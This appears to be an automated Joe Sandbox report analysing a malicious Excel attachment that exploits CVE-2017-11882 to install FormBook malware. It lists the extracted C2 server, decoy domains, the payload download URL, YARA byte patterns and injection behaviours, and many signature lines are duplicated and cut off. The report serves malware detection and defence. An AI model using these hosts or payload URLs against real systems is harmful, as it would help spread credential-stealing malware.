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Windows Analysis Report New order - C.S.I No. 04183.xlsx…

Overview

General Information

Sample 
Name:

New order - C.S.I No. 
04183.xlsx

Analysis ID: 528788

MD5: bc2d171f6ea23a5…

SHA1: dafd3a3276c12ee…

SHA256: 408c41f67cc4020…

Tags: VelvetSweatshop xlsx

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE cSigma detected: EQNEDT32.EXE c……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers ExploitingSigma detected: Droppers Exploiting……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQSigma detected: File Dropped By EQ……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts processOffice equation editor starts process……

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains wPerforms DNS queries to domains w……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Sigma detected: Execution from Sus

Sigma detected: Execution from Sus

Sigma detected: Execution from Sus

Sigma detected: Execution from Sus

Sigma detected: Execution from Sus

Sigma detected: Execution from Sus

Sigma detected: Execution from SusSigma detected: Execution from Sus……

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE fileOffice equation editor drops PE file

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direcDrops PE files to the user root direc……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / Contains functionality to shutdown / ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU Contains functionality to query CPU ……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may beContains functionality which may be……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 1912 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2680 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: 

A87236E214F6D42A65F5DEDAC816AEC8)
vbc.exe (PID: 2868 cmdline: "C:\Users\Public\vbc.exe"  MD5: 4D1B51FE258BE32D346B3507ABEDDCB3)

vbc.exe (PID: 1292 cmdline: "C:\Users\Public\vbc.exe"  MD5: 4D1B51FE258BE32D346B3507ABEDDCB3)

explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

cscript.exe (PID: 2216 cmdline: C:\Windows\SysWOW64\cscript.exe MD5: A3A35EE79C64A640152B3113E6E254E2)

cmd.exe (PID: 772 cmdline: /c del "C:\Users\Public\vbc.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021 Page 4 of 30



{

  "C2 list": [

    "www.celikkaya.xyz/og2w/"

  ],

  "decoy": [

    "drivenexpress.info",

    "pdfproxy.com",

    "zyz999.top",

    "oceanserver1.com",

    "948289.com",

    "nubilewoman.com",

    "ibizadiamonds.com",

    "bosniantv-australia.com",

    "juliehutzell.com",

    "poshesocial.events",

    "icsrwk.xyz",

    "nap-con.com",

    "womansslippers.com",

    "invictusfarm.com",

    "search-panel-avg-rock.rest",

    "desencriptar.com",

    "imperialexoticreptiles.com",

    "agastify.com",

    "strinvstr.com",

    "julianapeloi.com",

    "myproperty99.com",

    "mahardikasantoso.com",

    "pathway-strategies.com",

    "runbusinessonline.com",

    "facenbook.xyz",

    "texasschnauzer.com",

    "whoyummy.top",

    "hiscomsvc.com",

    "644557.com",

    "shouyeshow.com",

    "emtek.site",

    "inspireabossglobal.us",

    "sellmyhouse365.net",

    "ambergrids.xyz",

    "shoptrendyshop.com",

    "b7eb8.com",

    "crystalsbyzoe.com",

    "awfullive.site",

    "rebelgreens.com",

    "depressiqwidv.xyz",

    "mvp69bet.com",

    "selectedandprotected.com",

    "china-jiahe.com",

    "brandonknicely.com",

    "redrodventuresllc.com",

    "tomafer.net",

    "makemeorgasm.net",

    "wihomeoffers.com",

    "bamko.link",

    "secure-01.net",

    "fridayhabit.com",

    "mudeevehkuwpitcicet.site",

    "inversioneskomp.com",

    "oojry.xyz",

    "jibony.com",

    "cellphoneplansiusaweb.com",

    "lianemuhill.com",

    "caroeventos.com",

    "thucphamsachkhaihuy.com",

    "musicjem.com",

    "hbbtv.xyz",

    "meltemilebaskalasim.com",

    "xn--38j0b6c.com",

    "checkupfromtheneckup.net"

  ]

}

Source Rule Description Author Strings

00000005.00000000.458934235.0000000000400000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 30



00000005.00000000.458934235.0000000000400000.00000
040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000005.00000000.458934235.0000000000400000.00000
040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18849:$sqlite3step: 68 34 1C 7B E1
0x1895c:$sqlite3step: 68 34 1C 7B E1
0x18878:$sqlite3text: 68 38 2A 90 C5
0x1899d:$sqlite3text: 68 38 2A 90 C5
0x1888b:$sqlite3blob: 68 53 D8 7F 8C
0x189b3:$sqlite3blob: 68 53 D8 7F 8C

00000007.00000002.661950337.0000000000070000.00000
040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000007.00000002.661950337.0000000000070000.00000
040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 31 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

5.2.vbc.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

5.2.vbc.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

5.2.vbc.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17a49:$sqlite3step: 68 34 1C 7B E1
0x17b5c:$sqlite3step: 68 34 1C 7B E1
0x17a78:$sqlite3text: 68 38 2A 90 C5
0x17b9d:$sqlite3text: 68 38 2A 90 C5
0x17a8b:$sqlite3blob: 68 53 D8 7F 8C
0x17bb3:$sqlite3blob: 68 53 D8 7F 8C

4.2.vbc.exe.2980000.4.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.2.vbc.exe.2980000.4.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 27 entries

Unpacked PEs

Copyright Joe Security LLC 2021 Page 6 of 30



Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Execution from Suspicious Folder

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for dropped file

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Networking:

System process connects to network (likely due to code injection or exploit)

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Office equation editor drops PE file

Boot Survival:

Drops PE files to the user root directory

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Copyright Joe Security LLC 2021 Page 7 of 30



Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Network
Effects

Valid
Accounts

Native API 1 Path
Interception

Process
Injection 6 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 1 5 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Shared
Modules 1

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 1 1 LSASS
Memory

Virtualization/Sandbox
Evasion 2

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1 4

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

Exploitation for
Client
Execution 1 3

Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 2

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Clipboard
Data 1

Automated
Exfiltration

Non-Application
Layer Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 6 1 2

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application Layer
Protocol 1 2 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Deobfuscate/Decode
Files or Information 1

LSA
Secrets

File and Directory
Discovery 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 3

Cached
Domain
Credentials

System Information
Discovery 1 1 4

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Software Packing 1 DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly Used
Port

Rogue Wi-Fi
Access Points

Behavior Graph
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Behavior Graph
ID: 528788

Sample: New order - C.S.I No. 04183.xlsx

Startdate: 25/11/2021

Architecture: WINDOWS

Score: 100

Multi AV Scanner detection
for domain / URL Found malware configuration

Malicious sample detected
(through community Yara

rule)
13 other signatures

EQNEDT32.EXE

12

        started       

EXCEL.EXE

33 29

        started       

103.171.1.140, 49165, 80

AARNET-AS-APAustralianAcademicandResearchNetworkAARNe

unknown

C:\Users\user\AppData\Local\...\.vbc[1].exe, PE32

dropped

C:\Users\Public\vbc.exe, PE32

dropped

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

vbc.exe

17

        started       C:\...\~$New order - C.S.I No. 04183.xlsx, data

dropped

C:\Users\user\AppData\Local\...\folvcfp.dll, PE32

dropped

Machine Learning detection
for dropped file

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

vbc.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.oojry.xyz

104.21.82.75, 49166, 80

CLOUDFLARENETUS

United States

www.crystalsbyzoe.com 3 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

Performs DNS queries
to domains with low

reputation

cscript.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

New order - C.S.I No. 04183.xlsx 36% Virustotal Browse

New order - C.S.I No. 04183.xlsx 36% ReversingLabs Document-
OLE.Exploit.CVE-
2017-11882

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\nssE7A3.tmp\folvcfp.dll 100% Joe Sandbox ML

C:\Users\Public\vbc.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\.vbc[1].exe

100% Joe Sandbox ML

Source Detection Scanner Label Link Download

5.2.vbc.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

4.2.vbc.exe.2980000.4.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

7.2.cscript.exe.3e22f0.0.unpack 100% Avira TR/Patched.Ren.Gen Download File

5.0.vbc.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

5.0.vbc.exe.400000.0.unpack 100% Avira TR/Patched.Ren.Gen2 Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Copyright Joe Security LLC 2021 Page 10 of 30

https://www.virustotal.com/gui/file/408c41f67cc40208f1518b050db8b6d0f315dae817e26c5ae43efe917506c226/detection/f-408c41f67cc40208f1518b050db8b6d0f315dae817e26c5ae43efe917506c226-1637815666


5.0.vbc.exe.400000.3.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

7.2.cscript.exe.2a4f840.7.unpack 100% Avira TR/Patched.Ren.Gen Download File

5.0.vbc.exe.400000.2.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

5.1.vbc.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link

www.oojry.xyz 3% Virustotal Browse

Source Detection Scanner Label Link

wellformedweb.org/CommentAPI/ 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

treyresearch.net 0% URL Reputation safe

www.crystalsbyzoe.com/og2w/?
6lRd8=HRVKk55HqKhUKEplYc9Y+k8lMJF7Npxc0OkeINx2Urv2TzIY5LS2Gl5mjz9S2np0K2vYIQ==&kjiD
z=mH9p98O8MN

0% Avira URL Cloud safe

103.171.1.140/384500000_1/.vbc.exe 9% Virustotal Browse

103.171.1.140/384500000_1/.vbc.exe 100% Avira URL Cloud malware

java.sun.com 0% URL Reputation safe

www.icra.org/vocabulary/. 0% URL Reputation safe

www.celikkaya.xyz/og2w/ 0% Avira URL Cloud safe

computername/printers/printername/.printer 0% Avira URL Cloud safe

www.%s.comPA 0% URL Reputation safe

servername/isapibackend.dll 0% Avira URL Cloud safe

www.oojry.xyz/og2w/?
6lRd8=pSr5u6Cd6G0oArdSS5DUX/x2v0PsX7Tf+WPQrsPbuuGn2pEwuIBu1IHHNpIgTiueDUTEKQ==&kj
iDz=mH9p98O8MN

100% Avira URL Cloud phishing

Name IP Active Malicious Antivirus Detection Reputation

dolphin-render-ce5083-1529577379-
1289163597.eu-west-1.elb.amazonaws.com

34.246.239.131 true false high

www.oojry.xyz 104.21.82.75 true true 3%, Virustotal, Browse unknown

www.crystalsbyzoe.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.crystalsbyzoe.com/og2w/?
6lRd8=HRVKk55HqKhUKEplYc9Y+k8lMJF7Npxc0OkeINx2Urv2TzIY5LS2Gl5mjz9S2np0K2vY
IQ==&kjiDz=mH9p98O8MN

true Avira URL Cloud: safe unknown

103.171.1.140/384500000_1/.vbc.exe true 9%, Virustotal, Browse
Avira URL Cloud: malware

unknown

www.celikkaya.xyz/og2w/ true Avira URL Cloud: safe low

www.oojry.xyz/og2w/?
6lRd8=pSr5u6Cd6G0oArdSS5DUX/x2v0PsX7Tf+WPQrsPbuuGn2pEwuIBu1IHHNpIgTiueDUT
EKQ==&kjiDz=mH9p98O8MN

true Avira URL Cloud: phishing unknown

IP Domain Country Flag ASN ASN Name Malicious

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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https://www.virustotal.com/gui/url/977a4ff4b43eb3075a377954c638ed872f5626444e1a9fea28e2bf5a183757a3/detection/u-977a4ff4b43eb3075a377954c638ed872f5626444e1a9fea28e2bf5a183757a3-1637551602
https://www.virustotal.com/gui/url/6130f2ab3a6229a805132a4fbe2e4d9059780c7ab227a07125e22db54becc24d/detection/u-6130f2ab3a6229a805132a4fbe2e4d9059780c7ab227a07125e22db54becc24d-1637835856
https://www.virustotal.com/gui/url/977a4ff4b43eb3075a377954c638ed872f5626444e1a9fea28e2bf5a183757a3/detection/u-977a4ff4b43eb3075a377954c638ed872f5626444e1a9fea28e2bf5a183757a3-1637551602
https://www.virustotal.com/gui/url/6130f2ab3a6229a805132a4fbe2e4d9059780c7ab227a07125e22db54becc24d/detection/u-6130f2ab3a6229a805132a4fbe2e4d9059780c7ab227a07125e22db54becc24d-1637835856


General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 528788

Start date: 25.11.2021

Start time: 19:22:14

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 57s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: New order - C.S.I No. 04183.xlsx

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 
4.6.2)

Number of analysed new started processes 
analysed:

12

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winXLSX@9/24@2/3

EGA Information: Failed

HDC Information: Successful, ratio: 45.6% (good quality ratio 42.5%)
Quality average: 73.9%
Quality standard deviation: 30.5%

HCA Information: Successful, ratio: 92%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .xlsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Warnings:

103.171.1.140 unknown unknown 7575 AARNET-AS-
APAustralianAcademicandR
esearchNetworkAARNe

true

34.246.239.131 dolphin-render-ce5083-
1529577379-
1289163597.eu-west-
1.elb.amazonaws.com

United States 16509 AMAZON-02US false

104.21.82.75 www.oojry.xyz United States 13335 CLOUDFLARENETUS true

IP Domain Country Flag ASN ASN Name Malicious

